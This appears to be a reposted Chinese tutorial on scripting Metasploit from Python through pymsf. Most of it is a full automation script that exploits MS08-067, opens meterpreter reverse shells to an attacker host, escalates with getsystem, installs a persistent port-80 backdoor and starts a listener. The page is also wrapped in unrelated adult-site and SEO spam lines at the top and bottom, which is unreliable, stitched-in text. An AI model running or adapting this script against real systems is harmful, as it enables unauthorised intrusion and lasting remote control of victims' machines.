成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

教你用Python玩轉(zhuǎn)神器Metasploit

安全 應(yīng)用安全 數(shù)據(jù)安全
pymsf是著名安全研究團(tuán)隊(duì)Spiderlabs實(shí)現(xiàn)的一個Python與Metasploit msgrpc進(jìn)行通信的python模塊,通過它,你可以利用Python玩轉(zhuǎn)滲透測試框架Metasploit。

pymsf是著名安全研究團(tuán)隊(duì)Spiderlabs實(shí)現(xiàn)的一個Python與Metasploit msgrpc進(jìn)行通信的python模塊,通過它,你可以利用Python玩轉(zhuǎn)滲透測試框架Metasploit。

教你用Python玩轉(zhuǎn)神器Metasploit

使用步驟

首先你需要先啟動msgrpc服務(wù),命令如下:

load msgrpc Pass=<password>

與msgrpc進(jìn)行通信其實(shí)就是與msfconsole進(jìn)行通信,首先你需要創(chuàng)建一個msfrpc的類,登錄到msgrpc服務(wù)器并且創(chuàng)建一個虛擬的終端,然后你就可以在你創(chuàng)建的虛擬終端上面執(zhí)行多個命令的字符串.你可以調(diào)用模塊的方法與console.write執(zhí)行命令,并且通過"console.read"從虛擬終端上面讀取輸入的值.這篇文章將演示如何使用pymsf模塊并且如何開發(fā)出一個完整的腳本.

這里有一個函數(shù)它創(chuàng)建了一個msfrpc實(shí)例,登錄到msgrpc服務(wù)器,并且創(chuàng)建了一個虛擬終端.

def sploiter(RHOST, LHOST, LPORT, session):
    client = msfrpc.Msfrpc({})
    client.login('msf', '123')
    ress = client.call('console.create')
    console_id = ress['id']

下一步就是實(shí)現(xiàn)把多個字符串發(fā)給虛擬終端,通過console.write和console.read在虛擬終端顯示與讀取:

## Exploit MS08-067 ##
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')

上面的這一小段代碼創(chuàng)建了一個MSF的資源文件,這樣你就可以通過"resoucen"命令去執(zhí)行指定文件里面中一系列的命令。

下面我們將通過"getsystem"命令把這個文件的提權(quán),建立一個后門打開80端口來轉(zhuǎn)發(fā).并且永久的運(yùn)行.最后上傳我們的漏洞exp并且在命令模式下面悄悄的安裝:

# 這個函數(shù)會創(chuàng)建一個MSF .rc文件def builder(RHOST, LHOST, LPORT):
     post = open('/tmp/smbpost.rc', 'w')
     bat = open('/tmp/ms08067_install.bat', 'w')

     postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\\
upload /tmp/ms08067_patch.exe c:\\
upload /tmp/ms08067_install.bat c:\\
execute -f ms08067_install.bat
"""
     batcomm = "ms08067_patch.exe /quiet"
     post.write(postcomms); bat.write(batcomm)
     post.close(); bat.close()

通過上面的那段代碼,將會創(chuàng)建一個.rc的文件.通過msf模塊“post/multi/gather/run_console_rc_file”在當(dāng)前的meterpreter會話中運(yùn)行生成的文件,并且通過console.write命令從虛擬終端寫入數(shù)據(jù),通過console.read命令來回顯返回內(nèi)容:

## 運(yùn)行生成的exp ##
runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""
     print "[+] Running post-exploit script on: "+RHOST
     client.call('console.write',[console_id,runPost])
     rres = client.call('console.read',[console_id])## Setup Listener for presistent connection back over port 80 ##
     sleep(10)
     listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""print "[+] Setting up listener on: "+LHOST+":80"
client.call('console.write',[console_id,listen])
lres = client.call('console.read',[console_id])print lres

上面代碼中的變量(RHOST, LHOST,LPORT等)都是通過optparse模塊從命令終端輸入的,完整的腳本托管在github上面,有時候你需要知道腳本的生成的地方都是靜態(tài)地址,不會在其他的目錄生成,例如ms08067的補(bǔ)丁就會在你的/tmp/目錄下面。

大家只要知道基礎(chǔ)然后對下面的代碼進(jìn)行一定的修改就可以編程一個屬于你自己的msf自動化攻擊腳本,我們建議通過博客里面發(fā)表的一些簡單的例子出發(fā),然后自己寫一個msf攻擊腳本:

import os, msfrpc, optparse, sys, subprocess
from time import sleep

# Function to create the MSF .rc filesdef builder(RHOST, LHOST, LPORT):
     post = open('/tmp/smbpost.rc', 'w')
     bat = open('/tmp/ms08067_install.bat', 'w')

     postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\\
upload /tmp/ms08067_patch.exe c:\\
upload /tmp/ms08067_install.bat c:\\
execute -f ms08067_install.bat
"""
     batcomm = "ms08067_patch.exe /quiet"
     post.write(postcomms); bat.write(batcomm)
     post.close(); bat.close()# Exploits the chain of rc files to exploit MS08-067, setup persistence, and patchdef sploiter(RHOST, LHOST, LPORT, session):
     client = msfrpc.Msfrpc({})
        client.login('msf', '123')
        ress = client.call('console.create')
        console_id = ress['id']## Exploit MS08-067 ##
     commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
     print "[+] Exploiting MS08-067 on: "+RHOST
     client.call('console.write',[console_id,commands])
     res = client.call('console.read',[console_id])
     result = res['data'].split('\n')## Run Post-exploit script ##
     runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""
     print "[+] Running post-exploit script on: "+RHOST
     client.call('console.write',[console_id,runPost])
     rres = client.call('console.read',[console_id])## Setup Listener for presistent connection back over port 80 ##
     sleep(10)
     listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""
     print "[+] Setting up listener on: "+LHOST+":80"
     client.call('console.write',[console_id,listen])
     lres = client.call('console.read',[console_id])
     print lres

def main():
        parser = optparse.OptionParser(sys.argv[0] +\
        ' -p LPORT -r RHOST -l LHOST')
        parser.add_option('-p', dest='LPORT', type='string', \
        help ='specify a port to listen on')
        parser.add_option('-r', dest='RHOST', type='string', \
        help='Specify a remote host')
        parser.add_option('-l', dest='LHOST', type='string', \
        help='Specify a local host')
     parser.add_option('-s', dest='session', type='string', \
        help ='specify session ID')
     (options, args) = parser.parse_args()
     session=options.session
     RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT

     if (RHOST == None) and (LPORT == None) and (LHOST == None):
                print parser.usage
                sys.exit(0)

     builder(RHOST, LHOST, LPORT)
     sploiter(RHOST, LHOST, LPORT, session)if __name__ == "__main__":
      main()
責(zé)任編輯:藍(lán)雨淚 來源: FreeBuf
相關(guān)推薦

2021-05-18 14:42:55

PythonMySQL

2019-01-24 09:00:00

PythonAutoML機(jī)器學(xué)習(xí)

2015-04-22 11:29:45

PythonPython創(chuàng)建瀑布圖

2023-08-03 08:51:07

2020-04-09 09:52:42

Python數(shù)據(jù)技術(shù)

2021-08-09 13:31:25

PythonExcel代碼

2021-12-26 18:32:26

Python Heic 文件

2020-01-27 10:02:42

Windows 10Windows 7Windows

2014-07-22 10:19:19

NeoBundle

2017-07-19 10:22:07

2022-02-18 10:34:19

邏輯回歸KNN預(yù)測

2019-09-05 10:07:23

ZAODeepfakes換臉

2023-10-27 11:38:09

PythonWord

2021-05-10 06:48:11

Python騰訊招聘

2013-08-23 09:37:32

PythonPython游戲Python教程

2018-05-14 10:43:53

平衡數(shù)據(jù)數(shù)據(jù)分析Python

2021-02-02 13:31:35

Pycharm系統(tǒng)技巧Python

2021-12-11 20:20:19

Python算法線性

2014-07-21 09:51:10

AndroidResflux修改應(yīng)用

2020-03-25 14:40:45

語言編程語言Hello
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 国产一区二区三区四区在线观看 | 亚洲综合在线播放 | 国产成人精品一区二区三区网站观看 | 久久激情av | 国产欧美在线 | 一级黄色片网址 | www网站在线观看 | 99热首页 | 日韩欧美国产成人一区二区 | 色综合欧美 | 国产精品视频网址 | 亚洲丝袜天堂 | 成人免费xxxxx在线视频 | 亚洲视频一区在线观看 | 天天操天天摸天天爽 | 污片在线观看 | 91日韩 | 日韩精品一区二区三区第95 | 欧美色综合天天久久综合精品 | h视频在线看 | 国产精品久久久久一区二区三区 | 国产成人免费一区二区60岁 | 99re视频在线观看 | 2022国产精品 | 97日日碰人人模人人澡分享吧 | 欧美三区在线观看 | 成人1区2区| 国产欧美日韩二区 | 亚洲国产成人在线观看 | 久久久久久久久久久久久九 | 中文在线播放 | 欧美激情一区 | 欧美亚洲高清 | 黑人一级黄色大片 | 91精品国产91久久久久久丝袜 | 特级毛片爽www免费版 | 国产激情小视频 | www久久久| 成人在线视频免费观看 | 久久精品视频9 | 国产中文区二幕区2012 |